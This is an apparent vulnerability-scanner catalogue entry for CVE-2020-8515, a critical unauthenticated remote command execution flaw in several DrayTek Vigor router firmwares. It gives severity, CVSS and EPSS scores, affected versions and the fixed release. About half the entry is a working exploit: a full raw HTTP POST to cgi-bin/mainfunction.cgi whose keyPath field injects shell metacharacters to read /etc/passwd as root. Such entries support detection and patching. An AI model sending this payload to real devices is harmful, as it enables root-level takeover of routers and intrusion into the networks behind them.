| Title | DrayTek - Remote Code Execution |
|---|---|
| Author | pikpikcu |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected router, leading to complete compromise of the device and potential unauthorized access to the network. |
| Remediation | This issue has been fixed in Vigor3900/2960/300B v1.5.1. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94357 |
| CVE ID | CVE-2020-8515 |
| CWE ID | CWE-78 |
| Tags | cve cve2020 rce kev draytek vkev vuln |
DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices allow remote code execution as root (without authentication) via shell metacharacters to the cgi-bin/mainfunction.cgi URI.
POST /cgi-bin/mainfunction.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Connection: close
Content-Length: 89
Accept-Encoding: gzip
action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-8515.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-8515.pcap
N/AN/A